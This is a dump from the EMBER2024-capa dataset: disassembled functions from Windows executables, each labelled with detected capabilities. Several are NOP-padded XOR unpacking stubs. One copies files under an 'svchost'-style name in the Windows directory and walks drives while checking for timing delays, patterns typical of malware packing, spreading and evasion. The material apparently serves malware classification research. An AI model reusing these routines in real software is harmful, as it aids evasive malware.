joyce8/EMBER2024-capa huggingface dataset:
Function at 0x433000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..rsrc
nop
nop
mov ebx, 0x40de38
mov ecx, 0xb058a9
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x5a5158d9
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x402b1c
Capabilities:
Check for time delay via gettickcount
Create thread
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeac
mov dword [ebp - 0x30], 0x30
mov dword [ebp - 0x2c], 3
mov dword [ebp - 0x28], 0x402d11
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
push dword [0x405170]
pop dword [ebp - 0x1c]
mov dword [ebp - 0x10], 0x10
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], str.MainWinClass
push 0x7f00
push 0
call sub.user32.dll_LoadIconA
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], eax
push 0x7f00
push 0
call sub.user32.dll_LoadCursorA
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x30]
push eax
call sub.user32.dll_RegisterClassExA
push 0
push dword [ebp + 8]
push 0
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push str.Main_Window
push str.MainWinClass
push 0
call sub.user32.dll_CreateWindowExA
mov dword [ebp - 0x50], eax
push 0x104
push 0x405c9c
call sub.kernel32.dll_GetWindowsDirectoryA
push 0x405c9c
push 0x405ea4
call sub.kernel32.dll_lstrcpyA
push 0x405034
push 0x405c9c
call sub.kernel32.dll_lstrcatA
push str.svchost
push 0x405c9c
call sub.kernel32.dll_lstrcatA
push 0x405c9c
push 0x405da0
call sub.kernel32.dll_lstrcpyA
push str..aaa
push 0x405c9c
call sub.kernel32.dll_lstrcatA
push str..exe
push 0x405da0
call sub.kernel32.dll_lstrcatA
mov eax, 0x402d57
push 0x40517c
push 0
push 0
push eax
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
mov ebx, 1
jmp 0x402cad
mov byte [ebp - 0x154], 0
inc byte [0x405064]
lea eax, [0x405064]
push eax
lea eax, [ebp - 0x154]
push eax
call sub.kernel32.dll_lstrcatA
push 0x405062
lea eax, [ebp - 0x154]
push eax
call sub.kernel32.dll_lstrcatA
lea eax, [ebp - 0x154]
push eax
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 3
je 0x402ca0
cmp eax, 2
je 0x402ca0
cmp eax, 4
jne 0x402cac
lea eax, [ebp - 0x154]
push eax
call fcn.0040289d
inc ebx
cmp ebx, 0x1a
jbe 0x402c54
call sub.kernel32.dll_GetTickCount
mov ebx, eax
call sub.kernel32.dll_GetTickCount
sub eax, ebx
cmp eax, 0x1d4c0
jb 0x402cc9
jmp 0x402cd2
push 1
call sub.kernel32.dll_Sleep
jmp 0x402cb9
push 0
push 0
push 2
push dword [0x405178]
call sub.user32.dll_SendMessageA
push 0
push 0
push 0
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_GetMessageA
or eax, eax
je 0x402d0a
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_TranslateMessage
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_DispatchMessageA
jmp 0x402ce3
mov eax, dword [ebp - 0x44]
leave
ret 0x10

Function at 0x4123da
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, 0x401000
call 0x4123da
lcall 0x5de5, 0x8b10c483
jmp loc.008467d4

Function at 0x710c75
Capabilities:
Encode data using xor

Disassembly:
push 0x7109ec
mov edi, dword [esp]
add esp, 4
inc ecx
add edx, ecx
call fcn.00710cab
dec edx
add edx, 0x87d2caa5
add edx, edx
xor dword [eax], edi
sub ecx, ecx
or ecx, ecx
inc edx
inc eax
mov ecx, edx
add ecx, 1
cmp eax, esi
jne fcn.00710c75
inc ecx
ret
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..pdata
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
je 0x433072
nop
nop
nop
mov ebx, 0x40de38
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0xda67a11
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x433060
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
je 0x4330d2
nop
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x159e2399
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x4015cf
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebx
push ebp
push esi
mov ebx, dword [sym.imp.MSVCRT.dll_wcsncpy]
push edi
mov edi, dword [esp + 0x18]
push 0x100
mov esi, 0x4030e4
push dword [edi]
push esi
call ebx
push 0x4030c0
push esi
call dword [sym.imp.MSVCRT.dll__wstat]
add esp, 0x14
jmp loc.00408000

Function at 0x40170f
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402088
push 0x401850
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x403cf8], 0xffffffff
or dword [0x403cfc], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x403cf4]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x403cf0]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x403d00], eax
call fcn.00401841
cmp dword [0x4030b0], 0
jne 0x401792
push 0x40183e
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.0040182c
push 0x40300c
push 0x403008
call sub.MSVCRT.dll__initterm
mov eax, dword [0x403cec]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x403ce8]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___wgetmainargs]
push 0x403004
push section..data
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___winitenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call fcn.004015cf
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret

Function at 0x430000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
popal
nop
nop
nop
jmp fcn.00401219
Function at 0x430001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408ecc
nop
mov ecx, 0x284f01c1
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x7abd6a36
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
nop
nop
mov ecx, 0x5158445a
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
nop
nop
mov ecx, 0x91b3b0b
nop
nop
nop
nop
test eax, eax
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x430002
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x4047d0
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffdf4
mov ebx, edx
mov esi, eax
mov eax, ebx
xor edx, edx
call fcn.00406d14
test esi, esi
jne 0x404808
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameW_1
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00406e50
jmp 0x404826
call sub.KERNEL32.DLL_GetCommandLineW
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00404714
mov edi, eax
test esi, esi
je 0x404826
cmp dword [ebx], 0
je 0x404826
dec esi
jmp 0x40480f
add esp, 0x20c
pop edi
pop esi
pop ebx
ret

Function at 0x406068
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x554054], 0
je 0x4060c9
cmp word [0x554330], 0xd7b2
jne 0x406091
cmp dword [0x554338], 0
jbe 0x406091
mov eax, 0x55432c
call dword [0x554348]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle_1
push eax
call sub.KERNEL32.DLL_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4060f4
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle_1
push eax
call sub.KERNEL32.DLL_WriteFile_1
pop edx
ret
cmp byte [0x550030], 0
jne 0x4060e5
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x406274
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 0x10]
cmp dword [0x550034], 0
je 0x40629a
mov edx, esi
mov eax, ebx
call dword [0x550034]
jmp 0x4062a9
mov eax, 8
call fcn.0040445c
mov dword [eax], ebx
mov dword [eax + 4], esi
mov byte [0x554055], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x40623c
push eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.KERNEL32.DLL_CreateThread_1
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0xc
Function at 0x408d24
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe94
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], ecx
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0x408e8b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
xor edx, edx
call fcn.00406d14
cmp si, word [0x5507dc]
jb 0x408dbe
cmp si, word [0x5509dc]
ja 0x408dbe
mov edi, 0x40
xor eax, eax
mov dword [ebp - 0xc], eax
cmp edi, dword [ebp - 0xc]
jb 0x408dbe
mov ebx, dword [ebp - 0xc]
add ebx, edi
shr ebx, 1
cmp si, word [ebx*8 + 0x5507dc]
jae 0x408d98
mov edi, ebx
dec edi
jmp 0x408db9
cmp si, word [ebx*8 + 0x5507dc]
jbe 0x408da8
inc ebx
mov dword [ebp - 0xc], ebx
jmp 0x408db9
mov edx, dword [ebp - 8]
mov eax, dword [ebx*8 + 0x5507e0]
call fcn.00408c34
jmp 0x408dbe
cmp edi, dword [ebp - 0xc]
jae 0x408d82
mov eax, dword [ebp - 8]
cmp dword [eax], 0
jne 0x408e6d
push 2
movzx eax, si
push eax
call sub.KERNEL32.DLL_IsValidLocale
test eax, eax
je 0x408e6d
push 0x55
lea eax, [ebp - 0xb6]
push eax
push 0x59
movzx ebx, si
push ebx
call sub.KERNEL32.DLL_GetLocaleInfoW_1
push 0x55
lea eax, [ebp - 0x160]
push eax
push 0x5a
push ebx
call sub.KERNEL32.DLL_GetLocaleInfoW_1
lea eax, [ebp - 0x164]
lea edx, [ebp - 0xb6]
mov ecx, 0x55
call fcn.00406efc
push dword [ebp - 0x164]
push 0x408ea8
lea eax, [ebp - 0x168]
lea edx, [ebp - 0x160]
mov ecx, 0x55
call fcn.00406efc
push dword [ebp - 0x168]
push 0x408eb8
lea eax, [ebp - 0x16c]
lea edx, [ebp - 0xb6]
mov ecx, 0x55
call fcn.00406efc
push dword [ebp - 0x16c]
mov eax, dword [ebp - 8]
mov edx, 5
call fcn.004072b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408e92
lea eax, [ebp - 0x16c]
mov edx, 3
call fcn.00406d0c
ret
Function at 0x409044
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409149
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x556b5c
call sub.KERNEL32.DLL_EnterCriticalSection_1
cmp bx, word [0x556b74]
jne 0x409090
mov eax, esi
mov edx, 0x556b78
mov ecx, 0x55
call fcn.00406efc
push 0x556b5c
call sub.KERNEL32.DLL_LeaveCriticalSection_1
jmp 0x409133
push 0x556b5c
call sub.KERNEL32.DLL_LeaveCriticalSection_1
mov eax, esi
xor edx, edx
call fcn.00406d14
push 2
movzx eax, bx
push eax
call sub.KERNEL32.DLL_IsValidLocale
test eax, eax
je 0x409101
cmp byte [0x556b58], 0
je 0x4090c6
mov edx, esi
mov eax, ebx
call fcn.00408f24
jmp 0x409101
mov edx, esi
mov eax, ebx
call fcn.00408d24
call sub.KERNEL32.DLL_GetSystemDefaultUILanguage
cmp bx, ax
je 0x409101
cmp dword [esi], 0
je 0x4090ea
mov eax, esi
mov edx, 0x409164
call fcn.00407110
call sub.KERNEL32.DLL_GetSystemDefaultUILanguage
lea edx, [ebp - 4]
call fcn.00408d24
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.00407110
push 0x556b5c
call sub.KERNEL32.DLL_EnterCriticalSection_1
mov word [0x556b74], bx
push 0xaa
mov eax, dword [esi]
call fcn.00406da0
push eax
push 0x556b78
call sub.KERNEL32.DLL_lstrcpynW
push 0x556b5c
call sub.KERNEL32.DLL_LeaveCriticalSection_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409150
lea eax, [ebp - 4]
call fcn.00406d04
ret
Function at 0x409388
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00406cfc
xor eax, eax
push ebp
push 0x40956d
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
jne 0x4093c8
push 0x105
lea eax, [ebp - 0x21a]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameW_1
jmp 0x4093e2
push 0x105
mov eax, dword [ebp - 4]
call fcn.00406da0
push eax
lea eax, [ebp - 0x21a]
push eax
call sub.KERNEL32.DLL_lstrcpynW
cmp word [ebp - 0x21a], 0
je 0x409557
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40957c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x409471
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40957c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x409471
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x4095b0
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x409471
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x4095e4
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x409557
xor eax, eax
push ebp
push 0x409550
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x21a]
mov edx, 0x105
call fcn.0040918c
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x4094e0
mov eax, dword [ebp - 0x10]
call fcn.0040445c
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.00406ec0
jmp 0x40952b
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
push 0x409624
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x40952b
mov eax, dword [ebp - 0x10]
call fcn.0040445c
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
push 0x409624
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.00406ec0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409557
cmp dword [ebp - 8], 0
je 0x409546
mov eax, dword [ebp - 8]
call fcn.00404478
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409574
lea eax, [ebp - 4]
call fcn.00406d04
ret
Function at 0x409838
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdd8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x228], ebx
mov dword [ebp - 0x224], ebx
mov dword [ebp - 0x220], ebx
mov esi, ecx
mov dword [ebp - 0x21c], edx
mov dword [ebp - 0x218], eax
mov eax, dword [ebp - 0x218]
call fcn.00406cfc
mov eax, dword [ebp - 0x21c]
call fcn.00406cfc
lea edi, [ebp - 0x210]
xor eax, eax
push ebp
push 0x4099d7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
xor edx, edx
call fcn.00406d14
xor ebx, ebx
push 0x105
mov eax, dword [ebp - 0x21c]
call fcn.00406da0
push eax
lea eax, [ebp - 0x20a]
push eax
call sub.KERNEL32.DLL_lstrcpynW
lea eax, [ebp - 0x20a]
push eax
call sub.KERNEL32.DLL_lstrlenW
add eax, eax
lea edx, [ebp - 0x20a]
add eax, edx
sub eax, 2
mov dword [edi], eax
jmp 0x4098d8
sub dword [edi], 2
mov eax, dword [edi]
cmp word [eax], 0x2e
je 0x4098ea
lea eax, [ebp - 0x20a]
cmp eax, dword [edi]
jne 0x4098d5
lea eax, [ebp - 0x20a]
cmp eax, dword [edi]
je 0x4099a3
add dword [edi], 2
mov eax, dword [edi]
mov word [eax], 0
lea eax, [ebp - 0x20a]
mov edx, dword [edi]
sub edx, eax
sar edx, 1
jns 0x409913
adc edx, 0
mov eax, 0x105
sub eax, edx
mov dword [ebp - 0x214], eax
lea edx, [ebp - 0x220]
mov eax, dword [ebp - 0x218]
call fcn.00409388
cmp dword [ebp - 0x220], 0
je 0x40994b
push ebp
mov eax, dword [ebp - 0x220]
call fcn.0040972c
pop ecx
mov ebx, eax
jmp 0x4099a3
push ebp
call sub.KERNEL32.DLL_GetUserDefaultUILanguage
lea edx, [ebp - 0x224]
call fcn.00409044
mov eax, dword [ebp - 0x224]
call fcn.0040972c
pop ecx
mov ebx, eax
test bl, bl
jne 0x409996
cmp byte [0x556b58], 0
jne 0x409996
push ebp
call sub.KERNEL32.DLL_GetSystemDefaultUILanguage
lea edx, [ebp - 0x228]
call fcn.00409044
mov eax, dword [ebp - 0x228]
call fcn.0040972c
pop ecx
mov ebx, eax
test bl, bl
jne 0x4099a3
push ebp
call fcn.004097dc
pop ecx
mov ebx, eax
test bl, bl
je 0x4099b9
mov eax, esi
lea edx, [ebp - 0x20a]
mov ecx, 0x105
call fcn.00406efc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4099de
lea eax, [ebp - 0x228]
mov edx, 5
call fcn.00406d0c
ret

Function at 0x40d428
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
mov esi, 0x556c50
push 0xa
push 0x40d4bc
mov eax, dword [0x556c40]
push eax
call sub.KERNEL32.DLL_FindResourceW
mov ebx, eax
test ebx, ebx
jne 0x40d44c
call fcn.0041bd28
push ebx
mov eax, dword [0x556c40]
push eax
call sub.KERNEL32.DLL_LoadResource
mov ebx, eax
test ebx, ebx
jne 0x40d463
call fcn.0041bd28
push ebx
call sub.KERNEL32.DLL_LockResource
mov dword [esi], eax
cmp dword [esi], 0
jne 0x40d475
call fcn.0041bd28
mov eax, dword [esi]
mov edx, dword [esi]
mov ecx, edx
add ecx, dword [eax]
mov dword [0x556c54], ecx
mov ecx, edx
add ecx, dword [eax + 4]
mov dword [0x556c58], ecx
mov ecx, edx
add ecx, dword [eax + 8]
mov dword [0x556c5c], ecx
mov ecx, edx
add ecx, dword [eax + 0xc]
mov dword [0x556c60], ecx
mov ecx, edx
add ecx, dword [eax + 0x10]
mov dword [0x556c64], ecx
add edx, dword [eax + 0x14]
mov dword [0x556c68], edx
pop esi
pop ebx
ret
Function at 0x412760
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x412809
test eax, edx
je 0x41280c
push 0
push 0
cmp word [eax - 0xa], 2
je 0x412789
push edx
mov edx, eax
mov eax, esp
call fcn.00406f18
pop edx
mov eax, dword [esp]
cmp word [edx - 0xa], 2
je 0x41279f
push eax
lea eax, [esp + 8]
call fcn.00406f18
pop eax
mov edx, dword [esp + 4]
movzx ecx, word [edx]
cmp cx, word [eax]
je 0x4127ae
movzx eax, word [eax]
sub eax, ecx
jmp 0x4127d5
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
shl ecx, 1
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x4127ef
add ecx, 4
js 0x4127c6
pop eax
pop ebx
mov ecx, esp
mov edx, dword [ecx]
or edx, dword [ecx + 4]
je 0x4127ec
push eax
mov eax, ecx
mov edx, 2
call fcn.00406314
pop eax
pop edx
pop edx
ret
bsf ebx, ebx
shr ebx, 4
add ebx, ebx
add ecx, ebx
jns 0x4127d3
movzx eax, word [ecx + eax]
movzx edx, word [ecx + edx]
sub eax, edx
pop ebx
pop ebx
jmp 0x4127d5
xor eax, eax
ret
test eax, eax
je 0x41281c
test edx, edx
jne 0x412770
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret

Function at 0x413d30
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
mov esi, eax
mov eax, esi
call fcn.00406da0
push eax
call sub.KERNEL32.DLL_GetFileAttributesW
cmp eax, 0xffffffff
je 0x413d4e
test al, 0x10
sete al
pop esi
pop ebx
ret
call sub.KERNEL32.DLL_GetLastError
mov ebx, eax
cmp ebx, 2
je 0x413d6f
cmp ebx, 3
je 0x413d6f
cmp ebx, 0x7b
je 0x413d6f
mov eax, esi
call fcn.00413cf0
test al, al
jne 0x413d73
xor eax, eax
jmp 0x413d75
mov al, 1
pop esi
pop ebx
ret

Function at 0x413d78
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00406da0
push eax
call sub.KERNEL32.DLL_GetFileAttributesW
cmp eax, 0xffffffff
je 0x413d91
test al, 0x10
jne 0x413d95
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x418d64
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x200]
push ecx
push edx
push eax
call sub.KERNEL32.DLL_GetLocaleInfoW
test eax, eax
jle 0x418d9d
mov ecx, eax
dec ecx
lea edx, [ebp - 0x200]
mov eax, ebx
call fcn.00406e50
jmp 0x418da6
mov eax, ebx
mov edx, esi
call fcn.00406d14
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x418db0
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov edi, ecx
mov esi, edx
mov ebx, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push ebx
call sub.KERNEL32.DLL_GetLocaleInfoW
test eax, eax
jle 0x418dd2
movzx eax, word [esp]
jmp 0x418dd4
mov eax, edi
pop edx
pop edi
pop esi
pop ebx
ret